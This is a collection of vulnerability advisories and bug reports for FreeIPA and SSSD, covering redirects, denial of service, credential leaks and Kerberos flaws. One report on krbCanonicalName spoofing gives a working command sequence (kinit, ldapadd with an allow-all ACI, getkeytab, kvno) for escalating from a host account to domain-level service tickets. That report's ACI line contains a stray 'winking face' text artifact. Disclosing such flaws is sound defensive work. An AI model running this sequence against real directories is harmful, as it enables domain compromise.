Description resetpassword.html parses query string parameters and uses url as a redirection target (window.location = url) after password reset, optionally delayed by delay. No validation or allowlisting is performed on url, enabling an attacker to redirect users to an arbitrary external site after completion of the workflow. Impact An attacker must entice a victim to use the crafted reset URL (not hard, as the URL domain appears legitimate). No attacker authentication is required. The redirect can be used for phishing and user-trust abuse (appearing to originate from IdM), and can assist chaining with other social engineering or browser attacks by moving users from a trusted IdM origin to an attacker-controlled site at a sensitive moment. Ultimately, the attacker can get a user to visit a malicious URL while appearing legitimate. Recommendations Eliminate arbitrary URL redirects. If a post-reset return URL is required, allowlist same-origin paths only, or validate against a strict allowlist of trusted hosts and HTTPS scheme. Prefer server-generated, signed return tokens instead of raw URLs. Ensure the UI uses safe navigation helpers and rejects or strips dangerous schemes and external origins.

A flaw was found in SSSD. The extractauthtokv1() function in the PAM responder (src/responder/pam/pamsrvcmd.c) reads a 32-bit authtokenlength from the client request but does not validate it against the remaining buffer size before passing it to sssauthtoksetpassword(). When sssauthtoksetstring() processes the token, it accesses str[len-1] using the unvalidated length, resulting in a heap-buffer-overflow read. A local attacker can trigger this by connecting to the world-writable PAM responder socket (/var/lib/sss/pipes/pam) and sending a crafted protocol v1 authentication request with an oversized authtokenlength value. The stock PAM client uses protocol v3, so this is only reachable via raw socket access. Protocol v2 includes an equivalent bounds check (c+datasize > blen), which is missing from v1. Successful exploitation crashes the sssdpam responder, causing a denial of service for SSSD-mediated authentication. Reported via PSIRTSUPT-20553 by BreachX Zero Day Labs.

A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.

A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the /ipa/migration/migration.py endpoint. This can force the migration handler to read attacker-controlled request bodies fully into memory, leading to increased memory usage, slower request handling, and potential service disruption or denial of service.

A flaw was found in FreeIPA. The trust-fetch-domains command, used to refresh Active Directory trust topology, is gated only by the read-level ACI on the trust object (System: Read Trust Information, granted to any authenticated IPA user by default) rather than a trust-administration-level permission. Any authenticated, non-privileged IPA user can therefore invoke ipa trust-fetch-domains, which calls a root-owned oddjobd/D-Bus helper (install/oddjob/com.redhat.idm.trust-fetch-domains.in). When the caller supplies --admin/--password, the helper calls kinitpassword() against a caller-chosen --server using attacker-supplied credentials, with no cross-check that they belong to the real trusted AD forest, then accepts whatever forest-trust topology (domain names, NetBIOS names, SIDs) that attacker-controlled server returns via ipaserver/dcerpc.py's fetchdomains()/discovertrustinstance(). This fabricated data is written directly into the IPA LDAP directory as authoritative trust/ID-range topology by trust.addnewdomainsfromtrust(). The authorization gap itself (an unprivileged, non-admin user's request reaching the root-owned helper's execution with no ACI rejection) was reproduced dynamically in an isolated sandbox against ipa-server-4.13.5, confirmed against a negative control (an unrelated admin-only operation was correctly rejected in the same session). The exploiting principal holds zero delegated privilege — this is not a case of a narrow administrative delegation being used beyond its intended scope.

A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the /ipa/i18nmessages endpoint by sending an arbitrarily large request body. This can cause the service to consume excessive memory, leading to memory exhaustion, degraded responsiveness, and a denial of service (DoS) condition.

A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services, including the portal, SMB server, and LDAP directory. This is possible by impersonating a client name in the Ticket Granting Service (TGS) due to FreeIPA services not verifying Privilege Attribute Certificate (PAC) certificates. This vulnerability could allow an authenticated Active Directory user to escalate their privileges within the FreeIPA domain.

A flaw was found in FreeIPA. A low-privilege authenticated user can exploit this vulnerability by submitting an oversized One-Time Password (OTP) key value. This oversized key is then decoded and re-encoded without proper size limits, consuming excessive CPU and memory resources. This can lead to a denial of service, degrading the availability of the IPA service.

A flaw was found in the ipa-enrollment SLAPI plugin. A remote authenticated client can exploit a null pointer dereference vulnerability by sending a malformed Lightweight Directory Access Protocol (LDAP) extended operation. By omitting the request value for the JOINOID in the ipa-enrollment extended operation, an attacker can trigger a server crash, potentially causing a denial of service.

I'd like to report a privilege escalation method based on manipulation of the krbCanonicalName attribute. Despite changes made by FreeIPA and PAC certificate validation, it can still be abused.

Requirements to exploit: The attacker must have the rights of the computer account or an account with the right to add to almost any branch of the LDAP directory.

Version affected: FreeIPA VERSION: 4.12.2, APIVERSION: 2.254 Patch available: no CVSS 3.1 Vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

You're familiar with the general information on vulnerabilities CVE-2025-4404 and CVE-2025-7493. But there's a method that can currently be exploited, and it's much more dangerous than the CVEs listed. The problem is that a user who controls krbCanonicalName can specify the value of any account by simply specifying krbCanonicalName without specifying REALM and then request the tickets they need. On earlier versions of FreeIPA where PAC certificate validation isn't enabled, we can already fully exploit the domain. But even with PAC validation enabled, we can specify values with the service prefix. For example, krbtgt/ or ldap/ or host/ and request a ticket with a PAC, and KDC will return a perfectly valid ticket. It's worth noting that if you simply specify "admin," the issuance of such tickets will be rejected due to PAC certificate validation. One of the easiest ways I see is to get a domain controller account, for example host/ipa.red.corp.

kdestroy -A

kinit -k -t /etc/krb5.keytab host/debi.red.corp

ldapadd -H ldap://ipa.red.corp

dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp ipaKrbPrincipalAlias: pwn/debi.red.corp krbPrincipalName: pwn/debi.red.corp objectClass: ipaKrbPrincipal objectClass: ipaObject objectClass: ipaService objectClass: krbPrincipal objectClass: krbPrincipalAux objectClass: top krbCanonicalName: host/ipa.red.corp managedBy: fqdn=debi.red.corp,cn=computers,cn=accounts,dc=red,dc=corp aci: (targetattr = "")(version 3.0;acl "pwn";allow (all) userdn = "ldap:///anyone"winking face

ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI

kdestroy -A

kinit -k -t pwn.keytab pwn/debi.red.corp

kvno HTTP/ipa.red.corp

kvno ldap/ipa.red.corp

klist -A

If trust relationship between FreeIPA and Active Directory is configured (established/created), AD users can bypass authentication of the FreeIPA portal, SMB server, LDAP directory and, presumably, any other GSSAPI services unauthorized, using impersonation in TGS, under certain conditions. In the worst case scenario a user could escalate their priveleges (permissions/rights) in FreeIPA domain. This is due to the fact that the portal, like other GSSAPI services, is not configured to verify PAC certificates and trusts the TGS cname field.

Two off-by-one errors in the FreeIPA ipa-otpd daemon's OAuth2 device authorization handler can cause out-of-bounds memory access when processing an oversized response from a configured external OAuth2/OIDC Identity Provider. An attacker who controls or can man-in-the-middle the IdP endpoint may be able to trigger ipa-otpd to write or read one byte past the end of a fixed-size buffer. Exploitation requires FreeIPA to be configured with an external IdP, attacker control or MITM of that IdP, and a user to initiate the OAuth2 device authorization flow. The most likely impact is limited denial of service affecting the ipa-otpd daemon.

Two related off-by-one memory safety bugs in the FreeIPA ipa-otpd daemon, in oauth2onchildreadable() (daemons/ipa-otpd/oauth2.c). Confirmed by reporter with AddressSanitizer on minimal reproducers. Verified against upstream master (2026-07-03): vulnerable code still present.

Bug #1 — Out-of-bounds write (CWE-787), oauth2.c ~line 282 static char buf[10240]; io = read(vertogetfd(ev), buf, 10240); if (io >= 0) { buf[io] = '\0'; // OOB when io == 10240 }

Bug #2 — Out-of-bounds read (CWE-125), oauth2.c ~line 305 radreply = memchr(buf, '\n', io); if (radreply != NULL) { radreply = '\0'; radreply++; end = memchr(radreply, '\n', io - (radreply - 1 - buf)); // off by 1 }

Prerequisites: 1. FreeIPA configured with external IdP (ipa idp-add) 2. Attacker controls IdP endpoint or can MITM IdP traffic 3. A domain user initiates OAuth2 device authorization (kinit / IdP-backed account)

Requirements to exploit: No FreeIPA admin credentials required on attacker side. Attacker operates at the IdP layer. User interaction required to start the OAuth2 device flow. Exploitation preconditions are non-trivial (IdP control/MITM + configured IdP).

A privilege escalation from host to domain vulnerability was found in the FreeIPA project. The FreeIPA package fails to validate the uniqueness of the krbCanonicalName for the admin account by default, allowing users to create services with the same canonical name as the REALM admin. When a successful attack happens, the user can retrieve a Kerberos ticket in the name of this service, containing the admin@REALM credential. This flaw allows an attacker to perform administrative tasks over the REALM, leading to access to sensitive data and sensitive data exfiltration.

The lack of verification for the uniqueness of the LDAP attribute krbCanonicalName in FreeIPA may lead to privilege escalation from host to domain admin.

A privilege escalation flaw from host to domain administrator was found in FreeIPA. This vulnerability is similar to CVE-2025-4404, where it fails to validate the uniqueness of the krbCanonicalName. While the previously released version added validations for the admin@REALM credential, FreeIPA still does not validate the root@REALM canonical name, which can also be used as the realm administrator's name. This flaw allows an attacker to perform administrative tasks over the REALM, leading to access to sensitive data and sensitive data exfiltration.

A Cross-site request forgery vulnerability exists in ipa/session/loginpassword in all supported versions of IPA. This flaw allows an attacker to trick the user into submitting a request that could perform actions as the user, resulting in a loss of confidentiality and system integrity. During community penetration testing it was found that for certain HTTP end-points FreeIPA does not ensure CSRF protection. Due to implementation details one cannot use this flaw for reflection of a cookie representing already logged-in user. An attacker would always have to go through a new authentication attempt.

A flaw was found in the FreeIPA API audit, where it sends the whole FreeIPA command line to journalctl. As a consequence, during the FreeIPA installation process, it inadvertently leaks the administrative user credentials, including the administrator password, to the journal database. In the worst-case scenario, where the journal log is centralized, users with access to it can have improper access to the FreeIPA administrator credentials.

A vulnerability was found in FreeIPA in how the initial implementation of MS-SFU by MIT Kerberos was missing a condition for granting the "forwardable" flag on S4U2Self tickets. Fixing this mistake required adding a special case for the checkallowedtodelegate() function: If the target service argument is NULL, then it means the KDC is probing for general constrained delegation rules and not checking a specific S4U2Proxy request. In FreeIPA 4.11.0, the behavior of ipadbmatchacl() was modified to match the changes from upstream MIT Kerberos 1.20. However, a mistake resulting in this mechanism applies in cases where the target service argument is set AND where it is unset. This results in S4U2Proxy requests being accepted regardless of whether or not there is a matching service delegation rule.

Hello all,

please find the announcement of a Privilege Escalation vulnerability in FreeIPA bellow.

Upstream release note:

https://www.freeipa.org/release-notes/4-12-5.html

==== Security Report ====

CVE-2025-7493

Continuation of CVE-2025-4404 due to incomplete uniqueness checks for multiple Kerberos attributes. In CVE-2025-4404 it was found that uniqueness of the canonical Kerberos principal name and its aliases was not complete. We further found that cross-attribute uniqueness was not possible to enforce in 389-ds LDAP server. As a result, it was still possible to add an alias of 'root' to a Kerberos service principal controlled by a system already enrolled into IPA.

In order to prevent further attacks on existing Kerberos principals and aliases, 389-ds LDAP server uniqueness plugin was extended to allow cross-attribute uniqueness checks with custom LDAP match rules. The 389-ds upstream issue https://github.com/389ds/389-ds-base/issues/6857 was fixed in all supported 389-ds releases. FreeIPA fix for CVE-2025-7493 relies on this change.

Additionally, FreeIPA team has decided to apply a Kerberos policy of rejecting any ticket that lacks PAC structure in the evidence tickets presented in service ticket requests sent to IPA Kerberos KDC.

PAC structure in Kerberos tickets contains a number of individual buffers that encode information about the Kerberos client principal available to Kerberos KDC. The structure is cryptographically signed and also contains additional signatures that can be validated by both KDC and the service that will receive the ticket.

Since FreeIPA 4.9.0, new deployments always configured to associate security identifier (SID) information with each IPA user account and use it to issue PACs. Machines enrolled into IPA environment and their Kerberos services also get associated well-known SIDs. This allows to issue and validate PAC structures with information known about the client principal, whether they are from IPA realm or are coming from the trusted Active Directory domains. MIT Kerberos 1.20 or later also adds cryptographically signed information about the Kerberos principal that was used to request a Kerberos ticket. This additional information allows application services to prevent account spoofing. To date, only SSSD has enabled automated PAC validation on the client side.

To help applications, CVE-2025-7493 fix is to reject ticket requests that ask for a Kerberos service ticket with an evidence ticket that lacks PAC structure. PAC structure content is already validated against the original requester information.

The fix at the Kerberos KDC side cannot help in the environments where SIDs aren't associated with the Kerberos principals and no PAC is issued at all. We urge FreeIPA administrators to upgrade their deployments and enable use of SIDs and PAC generation to prevent the attacks associated with identity spoofing through the Kerberos protocol.

FreeIPA identity mapping is described in details in the following design page: https://freeipa.readthedocs.io/en/latest/designs/id-mapping.html

Red Hat's knowledge base also has practical articles helping to enable SIDs for existing IPA deployments: - "POSIX IDs, SIDs and IDRanges in IPA ", https://access.redhat.com/articles/7027037 - "When upgrading to RHEL9, IDM users are not able to login anymore.", https://access.redhat.com/solutions/7014959

=====

Marco Benatto Red Hat Product Security secalert () redhat com for urgent response

The FreeIPA API audit sends the whole FreeIPA ccommand line to journalctl, as consequence during the FreeIPA installation process inadvertently ends up leaking the administrative user credentials (including the administrator password) to the journal database. On worst case scenario where the journal log is centralized, users with access to it can have improper access to the FreeIPA administrator credentials.

A memory leak was found in the sssdpacplugin (sssdpacplugin.so library), which is distributed with the sssdclient package.

Original report with additional details:

https://fedorahosted.org/sssd/ticket/2803

Patch:

https://fedorahosted.org/sssd/attachment/ticket/2803/0001-Fix-memory-leak-in-sssdpacverify.patch

A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function berscanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.

A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way that FreeIPA's batch processing API logged operations. This included passing user passwords in clear text on FreeIPA masters. Batch processing of commands with passwords as arguments or options is not performed by default in FreeIPA but is possible by third-party components. An attacker having access to system logs on FreeIPA masters could use this flaw to produce log file content with passwords exposed.

Due to a missing permission check, certprofile-mod can be used by an authenticated but unprivileged user to modify certificate profile configuration. This could allow the issuance of certificates with fraudulent subject naming information (allowing the holder of the private key to impersonate another entity), or inappropriate key usage or extended key usage information (use of certificate for unauthorised purposes e.g. code signing).

Affected versions : 4.2 and above (all versions supporting certificate profiles)

Upstream patch : https://git.fedorahosted.org/cgit/freeipa.git/commit/?id=fec4c32ff15a96736740cf7d2f713a21af0b227e

ipa 3.0 does not properly check server identity before sending credential containing cookies

A flaw was reported [1] in FreeIPA 4.0/4.1 where users could log in using only the OTP value. This arose because ipapwdauthentication() successfully determined that an empty password was invalid, but 389 itself would see this as an anonymous bind.

This will be fixed in the next release [2]. As support for OTP is not available in earlier versions, only FreeIPA >= 4.0 is affected.

[1] https://fedorahosted.org/freeipa/ticket/4690 [2] https://www.redhat.com/archives/freeipa-devel/2014-November/msg00068.html

Acknowledgements:

Red Hat would like to thank FreeIPA upstream for reporting this issue.

Statement:

This issue did not affect the versions of IPA as shipped with Red Hat Enterprise Linux 5, 6, or 7 as they did not include support for OTP.

An XSS flaw was reported in FreeIPA 4.x that could allow an administrator with lower privileges (such as sudo rights) to escalate their privileges to full administrator.

Earlier versions of FreeIPA/IPA do not suffer from this flaw.

Statement:

This issue did not affect the versions of IPA as shipped with Red Hat Enterprise Linux 6 or 7 as they do not include the vulerable Web UI code.

ipa-kra-install in FreeIPA before 4.2.2 puts the CA agent certificate and private key in /etc/httpd/alias/kra-agent.pem, which is world readable.

alich in the FreeIPA bug tracker reported:

A number of non printable strings can cause FreeIPA to improperly display user data, potentially modifying what is shown to an administrator.

External Reference: https://fedorahosted.org/freeipa/ticket/5153